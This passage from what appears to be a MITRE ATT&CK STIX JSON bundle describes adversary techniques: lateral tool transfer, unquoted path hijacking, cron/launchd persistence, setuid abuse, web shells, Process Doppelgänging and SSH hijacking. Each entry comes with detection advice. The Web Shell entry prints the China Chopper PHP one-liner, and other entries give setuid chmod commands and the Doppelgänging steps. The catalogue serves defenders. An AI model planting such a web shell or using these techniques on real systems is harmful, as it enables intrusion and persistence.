                    "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:59:03.832Z",
            "name": "Lateral Tool Transfer",
            "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Named Pipe: Named Pipe Metadata",
                "Network Share: Network Share Access",
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Creation",
                "Network Traffic: Network Traffic Content",
                "File: File Metadata"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b",
            "created": "2020-03-13T13:51:58.519Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/009",
                    "external_id": "T1574.009"
                },
                {
                    "source_name": "Windows Privilege Escalation Guide",
                    "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
                    "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
                },
                {
                    "source_name": "Windows Unquoted Services",
                    "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
                    "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"
                },
                {
                    "source_name": "Help eliminate unquoted path",
                    "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.",
                    "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
                },
                {
                    "source_name": "Microsoft CurrentControlSet Services",
                    "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
                }
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            "modified": "2025-04-15T22:56:46.356Z",
            "name": "Path Interception by Unquoted Path",
            "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
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                    "phase_name": "privilege-escalation"
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069",
            "created": "2021-03-17T20:32:13.793Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/003",
                    "external_id": "T1608.003"
                },
                {
                    "source_name": "DigiCert Install SSL Cert",
                    "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
                    "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
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            "name": "Install Digital Certificate",
            "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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            "type": "attack-pattern",
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            "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1168",
                    "external_id": "T1168"
                },
                {
                    "source_name": "Die.net Linux crontab Man Page",
                    "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.",
                    "url": "https://linux.die.net/man/5/crontab"
                },
                {
                    "source_name": "Die.net Linux at Man Page",
                    "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
                    "url": "https://linux.die.net/man/1/at"
                },
                {
                    "source_name": "AppleDocs Scheduling Timed Jobs",
                    "description": "Apple. (n.d.). Retrieved July 17, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html"
                },
                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Avast Linux Trojan Cron Persistence",
                    "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
                    "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
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            "modified": "2025-04-25T15:16:05.693Z",
            "name": "Local Job Scheduling",
            "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Anastasios Pingios"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
            "created": "2017-12-14T16:46:06.044Z",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1166",
                    "external_id": "T1166"
                },
                {
                    "source_name": "setuid man page",
                    "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
                    "url": "http://man7.org/linux/man-pages/man2/setuid.2.html"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
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            "modified": "2025-04-25T15:16:05.881Z",
            "name": "Setuid and Setgid",
            "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively  (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future  (Citation: OSX Keydnap malware).",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "id": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f",
            "created": "2020-01-15T18:00:33.603Z",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037/005",
                    "external_id": "T1037.005"
                },
                {
                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                }
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            "modified": "2025-04-16T20:37:20.168Z",
            "name": "Startup Items",
            "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Command: Command Execution",
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                "Process: Process Creation",
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        {
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            "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
            "created": "2017-05-31T21:31:13.061Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1100",
                    "external_id": "T1100"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/650.html",
                    "external_id": "CAPEC-650"
                },
                {
                    "source_name": "Lee 2013",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
                },
                {
                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-25T15:16:06.131Z",
            "name": "Web Shell",
            "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.",
            "kill_chain_phases": [
                {
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS"
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1186",
                    "external_id": "T1186"
                },
                {
                    "source_name": "Microsoft TxF",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
                },
                {
                    "source_name": "Microsoft Basic TxF Concepts",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
                },
                {
                    "source_name": "Microsoft Where to use TxF",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
                },
                {
                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
                },
                {
                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
                },
                {
                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
                }
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            "name": "Process Doppelg\u00e4nging",
            "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.",
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            ],
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            "x_mitre_detection": "Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
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            "spec_version": "2.1",
            "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "created": "2018-01-16T16:13:52.465Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1184",
                    "external_id": "T1184"
                },
                {
                    "source_name": "Slideshare Abusing SSH",
                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
                },
                {
                    "source_name": "SSHjack Blackhat",
                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
                },
                {
                    "source_name": "Clockwork SSH Agent Hijacking",
                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
                    "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking"
                },
                {
                    "source_name": "Welivesecurity Ebury SSH",
                    "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
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                    "phase_name": "lateral-movement"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",
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            "x_mitre_platforms": [
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                "macOS"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
            "created": "2021-08-18T14:06:45.244Z",
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                    "url": "https://attack.mitre.org/techniques/T1614/001",
                    "external_id": "T1614.001"
                },
                {
                    "source_name": "Malware System Language Check",
                    "description": "Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021.",
                    "url": "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/"
                },
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"
                },
                {
                    "source_name": "Darkside Ransomware Cybereason",
                    "description": "Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.",
                    "url": "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware"
                },
                {
                    "source_name": "Securelist JSWorm",
                    "description": "Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.",
                    "url": "https://securelist.com/evolution-of-jsworm-ransomware/102428/"
                },
                {
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018",
                    "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"
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            "name": "System Language Discovery",
            "description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.",
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                    "phase_name": "discovery"
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            "x_mitre_contributors": [
                "Harshal Tupsamudre, Qualys"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: OS API Execution",
                "Windows Registry: Windows Registry Key Access",
                "Command: Command Execution"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "created": "2017-05-31T21:31:10.728Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1095",
                    "external_id": "T1095"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
